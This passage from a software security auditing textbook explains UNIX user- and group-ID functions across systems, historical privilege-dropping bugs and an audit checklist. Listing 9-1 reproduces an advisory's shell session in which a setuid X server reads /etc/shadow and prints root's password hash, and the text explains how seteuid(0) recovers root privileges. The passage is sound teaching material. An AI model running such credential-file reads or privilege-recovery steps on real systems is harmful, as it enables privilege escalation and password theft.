effective user ID - 4242 - arbitrary 

 

Warning 

There's one caveat with seteuid() that should never be an issue in production code, 

but it's worth mentioning. On Linux systems with libc or glibc versions before 2.1, if 

you are the superuser and change the effective user ID to an ID that isn't the real user 

ID or the saved set-user-ID, the saved set-user-ID is changed along with the effective 

user ID. So if you're root and all three of your IDs are 0, and you use a seteuid(4242) 

on a Linux glibc 2.0 system, the process would have the following IDs: 

real user ID - 0 - root 

saved set-user-ID - 4242 - arbitrary 

effective user ID - 4242 - arbitrary 

 

 

 

The setuid() Function 

The behavior exhibited by the setuid() function has evolved and mutated over time, 

with subtle variances surfacing in different implementations across divergent UNIX 

systems. It has the following prototype: 

int setuid(uid_t uid); 
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The uid parameter is used to specify a new effective user ID to be associated with the 

calling process. This function will also change both the real user ID and saved 

set-user-ID, contingent upon the privileges the calling process is running with and the 

UNIX variant that the process is running on (see Table 9-2). For processes running 

with superuser privileges, setuid() sets all three of a process's user IDs to the 

specified argument. For example, if a process's effective user ID is 0, a setuid(12345) 

sets the real user ID, saved set-user-ID, and effective user ID to 12345. setuid() is 

mainly used for permanently assuming the role of a user, usually for the purposes of 

dropping privileges. 

Table 9-2. Setuid() Behavior 

Privileged OS Notes 

Yes General Real user ID, effective user ID, and saved set-user-ID are all 

set to the new value. 

No Linux 

Solaris 

You can specify the real user ID or the saved set-user-ID. The 

effective user ID is updated; works much like seteuid(). 

No OpenBSD You can specify the real user ID, the saved set-user-ID, or 

the effective user ID. If the specified value is equal to the the 

current effective user ID, the real user ID and saved 

set-user-ID are also updated. Otherwise, it works like 

seteuid(), just updating the effective user ID. 

No NetBSD You can specify only the real user ID. The real user ID, 

effective user ID, and saved set-user-ID are all set to the 

specified value. 

No FreeBSD You can specify the real user ID or the effective user ID. The 

real user ID, effective user ID, and saved set-user-ID are set 

to the specified value. 

 

If the process isn't running as the superuser, setuid() has a behavior that varies 

across different flavors of UNIX. UNIX variants fall into two basic camps. The first 

camp believes that setuid() should work just like seteuid() when dealing with 

nonsuperuser processes. Linux, Solaris, and OpenBSD fall roughly into this camp. The 

second camp says that setuid() should work in a fashion consistent with how it works 

for superuser programs, so it should drop all privileges if the user requests a setuid() 

to the real user ID. FreeBSD and NetBSD belong in this camp. 

Say the admin user runs a set-user-ID bin file: 

real user ID - 1000 - admin 

saved set-user-ID - 1 - bin 
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effective user ID - 1 - bin 

 

In Linux and Solaris, setuid() behaves exactly like seteuid() when the effective user 

ID isn't the superuser's. You can specify the real user ID or saved set-user-ID as the 

argument, and setuid() updates the process's effective user ID. So in the preceding 

case, the two potentially valid calls are setuid(1000) and setuid(1), both of which 

would change only the effective user ID. So if you use setuid(1000), the IDs would 

change as follows: 

real user ID - 1000 - admin 

saved set-user-ID - 1 - bin 

effective user ID - 1000 - admin 

 

If you then use setuid(1), you have this result: 

real user ID - 1000 - admin 

saved set-user-ID - 1 - bin 

effective user ID - 1 - bin 

 

OpenBSD allows you to use setuid() on the real user ID, the saved set-user-ID, or 

the effective user ID. Its behavior is a little different; if you use the current effective 

user ID as the argument, setuid() in OpenBSD sets all three IDs to that user ID. 

However, if you use setuid() to toggle between the saved set-user-ID and effective 

user ID, as you would in Linux or Solaris, the function behaves like seteuid(). The 

basic idea is that if you repeat the setuid() call, you can make the permission change 

permanent. For example, say you have this set of IDs : 

real user ID - 1000 - admin 

saved set-user-ID - 1 - bin 

effective user ID - 1 - bin 

 

If you use setuid(1), you effectively assume the bin user's identity, and all three IDs 

are changed to 1. If you use setuid(1000), however, you toggle your effective user ID, 

and the result is as follows: 

real user ID - 1000 - admin 

saved set-user-ID - 1 - bin 

effective user ID - 1000 - admin 
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From here, you could use another setuid(1000) and cause the program to fully 

assume the admin user's identity, or you could toggle back to bin by using setuid(1). 

FreeBSD allows you to use setuid() on the real user ID or effective user ID, and the 

result causes all three user IDs to be set. So in the preceding example, you could use 

setuid(1000) to set all three IDs to 1000, or you could use setuid(1) to set all three 

IDs to 1. FreeBSD always lets you fully drop privileges back to the real user ID. 

However, it also lets you use setuid() to confirm your current effective user ID and 

have it become your new user ID across all three IDs. 

NetBSD allows you to use setuid() only with the real user ID, and the result causes 

all three user IDs to be set. In essence, the NetBSD version of setuid() allows only a 

nonsuperuser process to fully drop privileges back to the real user ID. So in the 

preceding example, if you use a setuid(1000), you would end up with all three IDs 

being 1000. 

All these details are great, but what's the bottom line for auditing code that uses 

setuid()? Basically, if the program has an effective user ID of 0, and the developer is 

using it to fully drop user privileges, everything is probably fine. If the program 

doesn't have an effective user ID of 0, setuid() is probably the wrong function for 

trying to manipulate privileges. If developers try to rely on it to fully drop privileges, 

they are burned by the saved set-user-IDs persisting in Linux, OpenBSD, and Solaris. 

If they try to rely on it just to change the effective user ID, they inadvertently throw 

away credentials in FreeBSD and NetBSD. 

The setresuid() Function 

The setresuid() function is used to explicitly set the real, effective, and saver 

set-user-IDs. This function has the following prototype: 

int setresuid(uid_t ruid, uid_t euid, uid_t suid); 

 

The ruid, euid, and suid parameters indicate new values for the real user ID, effective 

user ID, and saved set-user-ID attributes respectively. The caller can place a -1 in 

any of the arguments, and the kernel fills in the current value of the corresponding 

UID. Superusers can set the IDs to any value they want. A nonsuperuser process can 

set any of the IDs to the value of any of the three current IDs. This function has clear 

semantics and is implemented the same way across the UNIX variants that provide it. 

It's currently available on Linux, FreeBSD, HPUX, and newer versions of OpenBSD. 

This is summarized in Table 9-3. 

Table 9-3. Setresuid() Behavior 

Privileged OS Notes 
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Table 9-3. Setresuid() Behavior 

Privileged OS Notes 

Yes Linux 

FreeBSD 

HPUX 

OpenBSD 3.3 

and later. 

Real user ID, effective user ID, and saved set-user-ID 

are set to the specified values or filled in from current 

values 

No Linux 

FreeBSD 

HPUX 

OpenBSD3.3 

and later 

Any of the three values can be set to any of the current 

real user ID, effective user ID, or saved set-user-ID. 

Other values can be filled in by the kernel. 

 

 

The setreuid() Function 

The setreuid() function sets both the real user ID and effective user ID of a process. 

It works as shown: 

int setreuid(uid_t ruid, uid_t euid); 

 

The setreuid() takes a ruid parameter to indicate what the real userID should be set 

to, and an euid function to indicate what the effective user ID should be set to. If you 

provide an argument of -1 for ruid or euid, the function fills in the current value from 

the process. The semantics of this function are explored in Table 9-4. 

Table 9-4. Setreuid() Behavior 

Privileged OS Notes 

Yes NetBSD Real user ID and effective user ID can be set to arbitrary 

values. Saved set-user-ID is set to the effective user ID if 

the real user ID value is specified, even if it isn't changed. 

Yes FreeBSD 

Solaris 

Real user ID and effective user ID can be set to arbitrary 

values. Saved set-user-ID is set to the effective user ID if 

the real user ID is specified or the effective user ID doesn't 

equal the real user ID. 
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Table 9-4. Setreuid() Behavior 

Privileged OS Notes 

Yes Linux Real user ID and effective user ID can be set to arbitrary 

values. Saved set-user-ID is set to the effective user ID if 

the real user ID is specified or the effective user ID is 

specified and its new value doesn't equal the real user ID. 

Yes OpenBSD 

3.3 and 

later 

Real user ID and effective user ID can be set to arbitrary 

values. Saved set-user-ID is set to the effective user ID if 

the real user ID is specified and the real user ID is actually 

changed or the effective user ID doesn't equal the saved 

user ID. 

Yes OpenBSD 

before 3.3 

Effectively unsupported. Behavior is provided through 

compatibility lib with rather complex, nonconfirming 

behavior. 

No NetBSD Real user ID can be set to real user ID or effective user ID. 

Effective user ID can be set to real user ID, effective user 

ID, or saved set-user-ID. Saved set-user-ID is set to the 

effective user ID if the real user ID value is specified, even 

if it isn't changed. 

No FreeBSD Real user ID can be set to real user ID or saved user ID. 

Effective user ID can be set to real user ID, effective user 

ID, or saved set-user-ID. Saved set-user-ID is set to the 

effective user ID if the real user ID is specified or the 

effective user ID doesn't equal the real user ID. 

No Solaris Real user ID can be set to real user ID or effective user ID. 

Effective user ID can be set to real user ID, effective user 

ID, or saved set-user-ID. Saved set-user-ID is set to the 

effective user ID if the real user ID is specified or the 

effective user ID doesn't equal the real user ID. 

No Linux Real user ID can be set to real user ID or effective user ID. 

Effective user ID can be set to real user ID, effective user 

ID, or saved set-user-ID. Saved set-user-ID is set to the 

effective user ID if the real user ID is specified or the 

effective user ID is specified and its new value doesn't 

equal the real user ID. 

No OpenBSD 

3.3 and 

later 

Real user ID can be set to real user ID, saved set-user-ID or 

effective user ID. Effective user ID can be set to real user 

ID, effective user ID, or saved set-user-ID. Saved 

set-user-ID is set to the effective user ID if the real user ID 

is specified and the real user ID is actually changed or the 
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Table 9-4. Setreuid() Behavior 

Privileged OS Notes 

effective user ID doesn't equal the saved user ID. 

No OpenBSD 

before 3.3 

Effectively unsupported. Behavior is provided through 

compatibility lib with rather complex, nonconfirming 

behavior. 

 

If you're the superuser, you can set the user ID and effective user ID to any value you 

like. If you aren't the superuser, allowed behaviors vary among OSs, but you can 

typically change the real user ID to the effective user ID. You can change the effective 

user ID to the real user ID, the effective user ID, or the saved set-user-ID. 

After it modifies the real user ID and the effective user ID, the setreuid() function 

attempts to determine whether it should update the saved set-user-ID to reflect the 

value of the new effective user ID. It varies a bit among OSs, but generally, if the real 

user ID is changed or the effective user ID is changed to something other than the 

real user ID, the saved set-user-ID is set to be equal to the effective user ID. 

This API is quite cumbersome and there are issues with it having variances across 

multiple platforms, which you can definitely see in Table 9-4. Linux, NetBSD, and 

Solaris implement similar algorithms, but FreeBSD lets a nonsuperuser process 

change the real user ID to the saved set-user-ID as opposed to the effective user ID, 

which is slightly different. Versions of OpenBSD before 3.3 effectively didn't support 

this function; it was provded through a compatibility mode that was incompatible with 

other UNIX implementations. Versions after 3.3 implement it, but it has slightly 

different semantics than the other UNIX implementations. 

setreuid() isn't pretty, but it's important for one notable situation. If a program is 

managing two user IDs as its real user ID and saved set-user-ID, but neither is the 

superuser, it can prove difficult for that program to fully drop one set of privileges. 

Linux, FreeBSD, HPUX, and more recent OpenBSD builds can make use of the 

setresuid() function, which has a clean and simple interface. Solaris and certain 

versions of the BSDs, however, don't have access to this function. For a more 

cross-platform solution, developers can use the setreuid(getuid(),getuid()) idiom, 

which should work on all modern UNIX implementations, with the notable exception 

of older versions of OpenBSD. Before OpenBSD imported the setresuid() function 

and rewrote the setreuid() function, the only straightforward way for a nonprivileged 

program to clear the saved set-user-ID was to call the setuid() function when the 

effective user ID is set to the real user ID. This can be accomplished by calling 

setuid(getuid()) twice in a row. 

Group ID Functions 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 494 

The setgid(), setegid(), setregid(), setresgid(), setgroups(), and initgroups() 

functions are used to manipulate the group IDs associated with a process. Like the 

user ID functions, these functions have slightly different semantics on the different 

UNIX OSs. The following sections introduce the group ID functions. 

Warning 

The group ID functions, like the user ID functions, have different behaviors if the 

process is running as the superuser, which means an effective user ID of 0. An 

effective group ID of 0, however, doesn't give a process any special kernel-level 

privileges. 

 

 

The setegid() Function 

The setegid() function is used to change the effective group ID associated with the 

current process. It's prototype is 

int setegid(gid_t egid); 

 

It behaves like its user ID counterpart, the seteuid() function, in that it's used to 

toggle the effective group ID between the saved set-group-ID and the real group ID. 

Similar to seteuid(), if the process is running with superuser privileges, it can set the 

effective group ID to any arbitrary value. 

The setgid() Function 

The setgid() function changes group IDs associated with a process, and is equally 

nuanced as its counterpart setuid(). It works like this: 

int setgid(gid_t gid); 

 

setgid() takes a single parameter, gid, which it uses to set the effective group ID, 

and possibly also the saved set-group-ID and real group ID. If it's run from a process 

running with superuser privileges, it sets the effective group ID, the saved 

set-group-ID, and the real group ID to the same value. When the process isn't 

running as the superuser, setgid() has varying behavior that closely tracks the 

different behaviors discussed for setuid(). 

The setresgid() Function 

The setresgid() function is used to change the real group ID, effective group ID, and 

saved set-group-ID of a process. It has the following prototype: 
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int setresgid(gid_t rgid, gid_t egid, gid_t sgid); 

 

setresgid() behaves in much the same way that setresuid() does, except that it 

manipulates group IDs for a process rather than user IDs. The caller can provide -1 

for any of the arguments, and the kernel fills in the current value. Superusers can set 

any of the group IDs to any value they want. A nonsuperuser process can set any of 

the IDs to the value of any of the three current IDs. This function has clear semantics 

and is implemented the same across UNIX variants that provide it. 

The setregid() Function 

The setregid() function can be used to modify the real group ID and effective group 

ID associated with a process. It works as shown: 

int setregid(gid_t rgid, gid_t egid); 

 

setregid() lets you specify the values you want for your real group ID and effective 

group ID through the use of the rgid and egid parameters respectively. If you provide 

an argument of -1 for rgid or egid, it fills in the current value from the process. This 

function behaves like its counterpart, setreuid(). 

The setgroups() Function 

A process can set its supplementary groups using the setgroups() function, as shown: 

int setgroups(int ngroups, const gid_t *gidset); 

 

The setgroups() function takes two parameters; the ngroups parameter indicates how 

many supplemental groups the process will have and the gidset paramaeter points to 

an array of group IDs that has ngroup members. This function can be called only by a 

process with an effective user ID of 0. 

The initgroups() Function 

As an alternative to setgroups(), processes can set their supplementary groups using 

initgroups(), which has the following prototype: 

int initgroups(const char *name, gid_t basegid); 

 

initgroups() is a convenient alternative to setgroups() because it saves the calling 

application from having to find out the groups that a particular user is a member of in 

order to correctly establish the process's supplementary group list. The name 
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parameter indicates a user account whose group memberships are to be enumerated 

and set as the calling process's supplementary group list. The basegid GID is also 

added to the supplementary group list, and is typically the primary GID of the user 

specified by the name parameter. Like setgroups(), it can be performed only by a 

process with an effective user ID of 0. 

 

7.5.4 Privilege Vulnerabilities 

Now that you are familiar with the basic privilege management API, you can explore 

the types of mistakes developers are likely to make when attempting to perform 

privilege management. 

Reckless Use of Privileges 

The most straightforward type of privilege vulnerability happens when a program 

running with elevated privileges performs a potentially dangerous action on behalf of 

an unprivileged user without first imposing any limitations on itself with privilege 

management functions. Although it is possible for programs to safely access 

resources without needing to temporarily or permanently drop privileges, it is very 

easy to make mistakes when doing so. 

Here is a simple real-world example of a setuid root program named XF86_SVGA that 

used to ship with the XFree86 windowing package. Nicolas Dubee, a notorious and 

gifted researcher, discovered this vulnerability in 1997. Listing 9-1 is an excerpt from 

his advisory (available at 

http://packetstormsecurity.org/advisories/plaguez/plaguez.advisory.010.xfree86). 

Listing 9-1. Privilege Misuse in XFree86 SVGA Server 

[plaguez@plaguez plaguez]$ ls -al /etc/shadow 

-rw----   1 root     bin 1039 Aug 21 20:12 /etc/shadow 

 [plaguez@plaguez bin]$ ID 

uid=502(plaguez) gid=500(users) groups=500(users) 

[plaguez@plaguez plaguez]$ cd /usr/X11R6/bin 

[plaguez@plaguez bin]$ ./XF86_SVGA -config /etc/shadow 

Unrecognized option: root:qEXaUxSeQ45ls:10171:-1:-1:-1:-1:-1:-1 

use: X [:<display>] [option] 

-a #                   mouse acceleration (pixels) 

-ac                    disable access control restrictions 

-audit int            set audit trail level 

-auth file            select authorization file 

bc                     enable bug compatibility 

-bs                    disable any backing store support 

http://packetstormsecurity.org/advisories/plaguez/plaguez.advisory.010.xfree86
31051536.html
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-c                     turns off key-click 

 

The XF86_SVGA server, which was a setuid root program, happily read the 

configuration file /etc/shadow, and then proceeded to complain about the 

unrecognized option of root's password hash! The problem is that the X server would 

read in any configuration file the user requested as root, without regard for the actual 

user's permissions. Its configuration file parser happened to display a verbose error 

message, which printed the first line of the suspect configuration file. 

Considering the effects of any elevated group privileges is important, too. Many 

programs are installed as setgid so that they run as a member of a particular group. 

If the program performs a privileged action without relinquishing group privileges, it 

can still be vulnerable to a privilege escalation attack by allowing the user to access 

resources designated to the group in question. 

For example, the /sbin/dump program in NetBSD was installed as setgid tty so that it 

could notify system administrators if backup media needed to be changed. The dump 

program never dropped this group privilege, and local users could have the dump 

program start a program of their choice by setting the libc environment variable 

RCMD_CMD. This program would then run with an effective group ID of tty. Attackers 

could seize group tty privileges, which could allow them to interact with other user's 

terminals. 

Dropping Privileges Permanently 

Occasionally, application developers will make mistakes when writing the code for a 

program that permanently relinquishes its privileges. The following sample code 

represents part of a setuid root program: 

    /* set up special socket */ 

    setup_socket(); 

 

    /* drop root privs */ 

    setuid(getuid()); 

 

    /* main processing loop */ 

    start_procloop(); 

 

This code is similar in spirit to what you find in several common network programs. 

The program needs to be root to obtain a socket bound to a port below 1024 or to 

obtain a special socket for sniffing. The author wants the program to be safe and 

follow a least-privilege design, so after obtaining this socket, the program drops its 
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root privileges by performing a setuid(getuid()), which sets the saved set-user-ID, 

the real user ID, and the effective user ID to the value of the real user ID. 

setuid(getuid()) is a common idiom for permanently relinquishing privileges, and it 

usually works without too many complications. However, in some situations, it's not 

enough, as explained in the following sections. 

Dropping Group Privileges 

Some programs are installed as both setuid and setgid, meaning they run with an 

elevated user ID and elevated group ID. The code in the previous section would be 

fine if the program is only setuid root, but if the program is setuid root and setgid 

wheel, the elevated group privileges aren't relinquished correctly. In the processing 

loop, the effective group ID of the process is still set to the privileged wheel group, so 

if attackers found a way to exploit the program in the main processing loop, they 

could gain access to resources available to that privileged group. The correct way to 

address this problem is to relinquish group privileges like this: 

    /* set up special socket */ 

    setup_socket(); 

 

    /* drop root privs - correct order */ 

    setgid(getgid()); 

    setuid(getuid()); 

    /* main processing loop */ 

    start_procloop(); 

 

This code drops the group permissions and then the user permissions. It seems fairly 

straightforward, but it can actually be done incorrectly, as shown in the following 

example: 

    /* set up special socket */ 

    setup_socket(); 

 

    /* drop root privs  incorrect order */ 

    setuid(getuid()); 

    setgid(getgid()); 

 

    /* main processing loop */ 

    start_procloop(); 

 

This code doesn't fully work because the function calls are ordered incorrectly. The 

setuid(getuid()) function relinquishes root privileges. Remember that having an 
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effective group ID of 0 doesn't mean you are a superuser, as superuser status is 

based solely on your effective user ID. The setgid(getgid()) call is performed with 

privileges of the nonprivileged user, so the result of the setgid(getgid()) call 

depends on the OS. In Linux, Solaris, and OpenBSD, only the effective group ID is 

modified, and the saved set-group-ID still contains the group ID of the privileged 

group. If attackers find a flaw in the program they could leverage to run arbitrary 

code, they could perform a setegid(0) or setregid(-1, 0) and recover the elevated 

group privileges. 

Dropping Supplemental Group Privileges 

Programs running as daemons can run into security issues related to dropping 

privileges that are a little different from setuid programs. This is because they are 

typically started as a privileged user and then assume the role of an unprivileged user 

based on user input. In this situation, you have to be cognizant of supplemental group 

IDs because if they aren't updated when privileges are dropped, they could leave the 

process with access to privileged resources. 

Certain implementations of the rsync application contained a vulnerability of this 

nature, which is detailed at http://cve.mitre.org/cgi-bin/cvename.cgi?name=. If 

rsync runs as a daemon, it starts off with the user ID and groups of the user running 

the daemon (typically root). If the rsync daemon needs to operate as an unprivileged 

user, it runs the following code: 

    if (am_root) { 

        if (setgid(gid)) { 

            rsyserr(FERROR, errno, "setgid %d failed", 

                (int) gid); 

            io_printf(fd,"@ERROR: setgid failed\n"); 

            return -1; 

        } 

 

        if (setuid(uid)) { 

            rsyserr(FERROR, errno, "setuid %d failed", 

                (int) uid); 

            io_printf(fd,"@ERROR: setuid failed\n"); 

            return -1; 

        } 

 

        am_root = (getuid() == 0); 

    } 

 

This code releases the effective group ID before the effective user ID, so it should 

drop those privileges in the correct order. However, this code doesn't drop the 

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0080
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supplementary group privileges! The developers solved this problem by inserting the 

following code: 

#ifdef HAVE_SETGROUPS 

        /* Get rid of any supplementary groups this process 

         * might have inherited. */ 

        if (setgroups(0, NULL)) { 

            rsyserr(FERROR, errno, "setgroups failed"); 

            io_printf(fd, "@ERROR: setgroups failed\n"); 

            return -1; 

        } 

#endif 

... 

        if (setgid(gid)) { 

 

Note that setgroups() works only if you are the superuser and have an effective user 

ID of 0. This is another reason it's important to relinquish privileges in the correct 

order. 

Dropping Nonsuperuser Elevated Privileges 

As discussed earlier, the behavior of the setuid() and setgid() functions are different 

if the program isn't running as the superuser. setuid(getuid()) is a reasonable idiom 

for a program running as root that wants to drop privileges permanently, but if the 

effective user ID isn't 0, the same tactic yields system-dependant, and sometimes 

inadequate results. 

Say that the simple network program was changed so that instead of being setuid 

root and setgid wheel, it's setuid to another nonprivileged user, such as daemon. This 

might happen if you installed a kernel-hardening patch that let programs with a 

particular user ID or group ID allocate special sockets to avoid the root privilege 

requirement. The code would look the same: 

    /* set up special socket */ 

    setup_socket(); 

 

    /* drop root privs */ 

    setgid(getgid()); 

    setuid(getuid()); 

 

    /* main processing loop */ 

    start_procloop(); 
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However, the semantics of this code would be quite different when not running with 

an effective user ID of 0. Both setgid() and setuid() would be called as nonprivileged 

users, and they would change only the effective IDs, not the saved IDs. (In FreeBSD 

and NetBSD, this code would change all three IDs, so it wouldn't be vulnerable.) 

Attackers who exploited a problem in the program could therefore regain any 

relinquished privileges. The solution for nonsetuid root applications that need to fully 

drop their privileges is to use the setresgid() and setresuid() functions or the 

setregid() and setreuid() functions if necessary. OpenBSD versions before 2.3 

require two calls to setuid(). 

A noted researcher named Michael Zalewski found a bug in Sendmail 8.12.0 

(documented at www.sendmail.org/releases/8.12.1.html) that's a good real-world 

example of this situation. Sendmail used to install a set-user-ID root binary, but in 

version 8.12.0, it moved to a new configuration, with a set-group-ID smssp binary. 

Here's the code that is intended to drop the elevated group privileges: 

int 

drop_privileges(to_real_uid) 

    bool to_real_uid; 

{ 

    int rval = EX_OK; 

    GIDSET_T emptygidset[1]; 

... 

    if (to_real_uid) 

    { 

        RunAsUserName = RealUserName; 

        RunAsUid = RealUid; 

        RunAsGid = RealGid; 

    } 

 

    /* make sure no one can grab open descriptors 

        for secret files */ 

    endpwent(); 

    sm_mbdb_terminate(); 

 

    /* reset group permissions; these can be set later */ 

    emptygidset[0] = (to_real_uid || RunAsGid != 0) 

        ? RunAsGid : getegid(); 

 

    if (setgroups(1, emptygidset) == -1 && geteuid() == 0) 

    { 

        syserr("drop_privileges: setgroups(1, %d) failed", 

               (int) emptygidset[0]); 

        rval = EX_OSERR; 

    } 

http://www.sendmail.org/releases/8.12.1.html
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    /* reset primary group and user ID */ 

    if ((to_real_uid || RunAsGid != 0) && 

        EffGid != RunAsGid && 

        setgid(RunAsGid) < 0) 

    { 

        syserr("drop_privileges: setgid(%d) failed", 

            (int) RunAsGid); 

        rval = EX_OSERR; 

    } 

} 

 

First, setgroups() fails, but that's fine because the supplemental groups are ones for 

the real user, which is a nonprivileged account. setgid() successfully changes the 

effective group ID from the saved set-group-ID to the real group ID but doesn't fully 

drop the privileges (except in FreeBSD and NetBSD). The saved set-group-ID still has 

the privileged smssp group ID. The Sendmail developers fixed the issue by replacing 

the call to setgid() with conditionally compiled calls to setresgid() or setregid(), 

depending on which function is available. 

Mixing Temporary and Permanent Privilege Relinquishment 

Many applications designed to run in an elevated context are programmed by 

security-conscious developers who adopt a model of least privilegesrunning an 

application with the minimal set of privileges it requires at a certain time to achieve its 

objectives. This model often means running as the invoking user for the bulk of the 

program and temporarily switching to a more powerful user when a privileged 

operation is required. If no more privileged operations are required, often the 

application permanently relinquishes its elevated user-ID by using setuid(). 

Although this model is preferred for developing a privileged application, subtle errors 

can result in using setuid() when the effective user-ID has been changed previously, 

as shown in this example: 

#define STARTPRIV seteuid(0); 

#define ENDPRIV seteuid(realuid); 

 

void main_loop(void) 

{ 

    uid_t realuid=getuid(); 

 

    /* don't need privileges */ 

    seteuid(realuid); 

    /* process data */ 

... 

    STARTPRIV 
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    do_privileged_action(); 

    ENDPRIV 

    /* process more data */ 

... 

    /* done with root privs - drop permanently */ 

    setuid(realuid); 

    /* process yet more data */ 

... 

} 

 

This code starts out by relinquishing its privileges temporarily with seteuid(realuid). 

When the program needs its root privileges, it uses the STARTPRIV macro to obtain 

them and the ENDPRIV macro to release them. Those macros work by calling seteuid(0) 

and seteuid(realuid), respectively. After a bit of processing, the program decides it 

wants to fully drop its privileges, and it does that with the common idiom 

setuid(realuid). The problem is that at this point, the effective user ID is the real 

user ID of the program, not 0. Therefore, setuid(realuid) doesn't affect the saved 

set-user-ID in most UNIX implementations, with FreeBSD and NetBSD being the 

major exceptions. If attackers find a way to co-opt the program after the final 

privilege drop and run a seteuid(0), they could recover root privileges from the saved 

set-user-ID. 

Here's another example: 

void temp_drop(void) 

{ 

    seteuid(getuid()); 

} 

 

void temp_gain(void) 

{ 

    seteuid(0); 

} 

 

void main_loop(void) 

{ 

... 

    while (options) 

    { 

        ... 

        if (unsafe_option) 

        { 

            temp_drop(); 
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            if (process_option()==END_OF_OPTIONS) 

                goto step2; 

 

            temp_gain(); 

        } 

        ... 

    } 

... 

step2: 

    /* drop root privs */ 

    setuid(getuid()); 

... 

} 

 

This code represents a simple set-user-ID root application. The main loop contains 

two steps: option processing and main processing. The option-processing code needs 

root privileges, but it temporarily drops them to process a potentially unsafe option. 

After the option-processing code is completed, the program enters step2, the main 

processing section. The rest of the code is complex and potentially prone to security 

issues, so it fully drops privileges with a setuid(getuid()) before continuing. 

The problem is that if an unsafe option signals that the option processing is 

prematurely complete, the jump to step2 happens while privileges are temporarily 

dropped. The setuid(getuid()) call succeeds, but it doesn't correctly clear the saved 

set-user-ID in the process, except in FreeBSD and NetBSD. Therefore, if there's an 

exploitable problem in the main processing code, users can reclaim root privileges by 

performing a seteuid(0), which succeeds because the saved set-user-ID is still 0. 

Dropping Privileges Temporarily 

Temporary dropping of privileges can also be difficult to implement correctly. Many of 

the pitfalls in permanent privilege relinquishment can be applied to temporary 

privilege changes as well. Furthermore, dropping group privileges (and supplemental 

group privileges) is an easy step to overlook. Finally, the order in which privileges are 

relinquished can cause some privileges to be retained mistakenly. 

Using the Wrong Idiom 

If you drop privileges temporarily, your program is still vulnerable to a low-level 

attack, such as a buffer overflow. If attackers can run arbitrary code within the 

context of your process, they can issue the necessary system calls to propagate a 

saved set-user-ID to the effective and real user ID fields and regain privileges. To 

avoid this possibility, dropping privileges permanently as soon as possible is the 

safest option for a setuid application. 
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Tcptraceroute had a simple permission-related problem that a security specialist from 

Debian Linux named Matt Zimmerman discovered. The program intended to drop 

privileges permanently, but the author used the idiom for dropping privileges 

temporarily. Here's the vulnerable code: 

   defaults(); 

    initcapture(); 

   seteuid(getuid()); 

   return trace(); 

} 

 

This mistake was a simple one: The authors used the wrong function. They should 

have used setuid() rather than seteuid() to prevent privileges from being reclaimed 

later. Any memory corruption vulnerability that occurred in the application's trace() 

function could allow privileges to be regained simply by using seteuid(0). The full 

advisory is archived at http://freshmeat.net/articles/view/893/. 

Dropping Group Privileges 

Now take a look at a real-world example of a vulnerability related to dropping group 

privileges in the wrong order. (This vulnerability is documented in the FreeBSD 

security advisory FreeBSD-SA-01:11.inetd, which can be found at 

http://security.freebsd.org/advisories/FreeBSD-SA-01:11.inetd.asc.) The inetd 

server in FreeBSD contains code to handle the IDENT service, which remote users 

query to learn the user associated with any TCP connection on the machine. The 

service has an option thatallows users to place a .fakeid file in their home directory, 

which can contain a name the ident server provides instead of the real username. 

Because the ident server runs as root, the code in Listing 9-2 was used to drop 

privileges temporarily. 

Listing 9-2. Incorrect Temporary Privilege Relinquishment in FreeBSD Inetd 

      /* 

       * Here, if enabled, we read a user's ".fakeid" file in 

       * their home directory. It consists of a line 

       * containing the name they want. 

       */ 

      if (fflag) { 

          FILE *fakeid = NULL; 

          int fakeid_fd; 

 

          if (asprintf(&p, "%s/.fakeid", pw->pw_dir) == -1) 

              iderror(lport, fport, s, errno); 

          /* 

http://freshmeat.net/articles/view/893/
http://security.freebsd.org/advisories/FreeBSD-SA-01:11.inetd.asc
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           * Here we set ourself to effectively be the user, 

           * so we don't open any files we have no permission 

           * to open, especially symbolic links to sensitive 

           * root-owned files or devices. 

           */ 

      seteuid(pw->pw_uid); 

      setegid(pw->pw_gid); 

... 

 

This code first calls seteuid() to take on the user's privileges. It then calls setegid() 

to take on the caller's effective group ID, but this call fails because the program has 

relinquished its superuser privileges. 

Using More Than One Account 

To understand this problem, consider a daemon that needs to use more than one user 

account. (This example is based on one provided by Jan Wolter, a software designer 

that wrote an interesting paper entitled "Unix Incompatibility Notes: UID Function 

Setting," available at www.unixpapa.com/incnote/setuid.html.) Here's an example of 

how it might be implemented: 

 

    /* become user1 */ 

    seteuid(user1); 

    process_log1(); 

 

    /* become user2 */ 

    seteuid(user2); 

    process_log2(); 

 

    /* become root again */ 

    seteuid(0); 

 

The intent of this code is to do some processing as user1, and then assume the 

identity of user2 and do further processing. This implementation is flawed, however, 

because the call to seteuid(user2) fails because the program's effective user ID is no 

longer 0; it's user1. Correct code would have a seteuid(0) before the seteuid(user2) 

call. 

Auditing Privilege-Management Code 

Now that you have seen a variety of vulnerabilities in code running with special 

privileges, you can focus on a method for auditing how those privileges are managed 

http://www.unixpapa.com/incnote/setuid.html
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throughout the application's lifespan. You can use the steps in the following sections 

to help you decide whether privilege management has been implemented correctly 

and adequately inhibits users' ability to exploit the application. You consider two main 

cases: an application that intends to drop privileges permanently and an application 

that intends to drop privileges temporarily. 

Permanent Dropping of Privileges 

Some programs run with root privileges and want to discard these root privileges 

permanently. When auditing an application that runs in a privileged context and you 

encounter this scenario, you need to address the following points: 

 Make sure the code that's going to drop privileges permanently is running with 

an effective user ID of 0. If it's not, it probably won't be able to drop privileges 

effectively. Look for possible unexpected code paths where the program might 

temporarily drop privileges and then permanently drop privileges without 

restoring temporary privileges first. 

 If supplemental groups are potentially unsafe, make sure they are cleared 

with setgroups(). Again, setgroups() works only when running with an 

effective user ID of 0. 

 Make sure the real group ID, the saved set-group-ID, and the effective group 

ID are set to an unprivileged group, usually done with setgid(getgid()). Look 

for code that mistakenly uses setegid() to try to drop privileges. 

 Make sure the real user ID, the saved set-user-ID, and the effective user ID 

are set to an unprivileged user, usually done with setuid(getuid()). Keep an 

eye outfor code that mistakenly uses seteuid() to try to drop privileges. 

 Make sure the privileged groups and supplemental groups are dropped before 

the process gives up its effective user ID of root. Otherwise, the program is 

likely to expose privileged group credentials. 

There are also programs that run without root privileges but want to discard one set 

of privileges permanently; for those programs, check the following points: 

 The programmer can't modify groups with setgroups(), as this function works 

only for superusers. If the program requires this functionality but doesn't have 

root privileges, it has a design flaw. 

 Programmers run into difficulty when using the setgid(getgid()) idiom 

because it probably leaves the saved set-group-ID set to a privileged group. 

